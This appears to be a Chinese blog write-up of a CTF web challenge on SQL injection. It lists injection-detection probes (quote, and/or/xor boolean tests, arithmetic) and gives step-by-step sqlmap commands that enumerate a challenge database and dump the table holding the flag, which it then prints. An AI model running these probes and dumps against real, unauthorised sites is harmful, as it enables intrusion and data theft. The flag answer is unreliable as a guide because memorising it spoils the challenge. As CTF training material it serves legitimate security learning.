【CTFweb】简单的注入

 

题目环境:这个题目看起来好简单!

通过观察URL,发现可能存在注入点,通过使用and 1=1 ,and 1=2判断存在注入点。

 

 

 

 

一:注入点判断:

传入SQL语句可控参数分为两类:

1. 数字类型,参数不用被引号括起来,如?id=1
2. 其他类型,参数要被引号扩起来,如?name=”phone”

判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,服务端返回的内容来判断有无注入。

1、单引号判断

    http://www.xxx.com/xxx.asp?id=10′     //如果出现错误提示,则该网站可能就存在注入漏洞。

2、and判断

http://www.xxx.com/xxx.asp?id=10’and 1=1   //这个条件永远都是真的,所以当然返回是正常页。
http://www.xxx.com/xxx.asp?id=10’and 1=2  //如果报错说明存在注入漏洞,要看报的什么错,不可能报任何错都有注入漏洞。

3、Or判断(or跟and判断方法不一样的,and 是提交返回错误才有注入点,而OR是提交返回正确有注入点)

http://www.xxx.com/xxx.asp?id=10’or 1=1
http://www.xxx.com/xxx.asp?id=10’or 1=2

4、xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点)

http://www.xxx.com/xxx.asp?id=10’xor 1=1
http://www.xxx.com/xxx.asp?id=10’xor 1=2

5、加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞)

http://www.xxx.com/xxx.asp?id=10-0
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1

6、输入框判断

可以使用特殊符号去判断
#@!$/ …

http://120.24.86.145:9001/sql/
登录框注入,使用#,–都无效,但是使用\报错,这时候上sqlmap,发现可以注入。

 

参照:sql注入点的判断

二、开始注入:

1、sqlmap直接跑:sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” –current-db(查询当前使用数据库)

 

跑出数据库‘my_db’

 

2、继续查询数据库中的表:

 

sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db –tables

查询出‘my_db’数据库中的表:

 

3、然后查询表中的列:

sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey –columns

 

4、查询数据库表中的k0y字段:

sqlmap.py -u “http://ctf5.shiyanbar.com/8/index.php?id=1” -D my_db -T thiskey -C k0y –dump

最终使用sqlmap工具跑出本题的key

 

 

附上flag:whatiMyD91dump

注:如果出现乱码可以使用-D 数据库名 -T 表名 –columns –hex或者

-D 数据库名 -T 表名 –columns –no-cast 解决

一般web没有过滤注入字符的话,数据库注入流程就是大概这个样子,如果过滤了字段,url就需增加各种过滤参数,依情况而定。

标签: ,   |  
时间: 2018年10月22日下午17:32  |  
作者:
LEAVE A REPLY

loading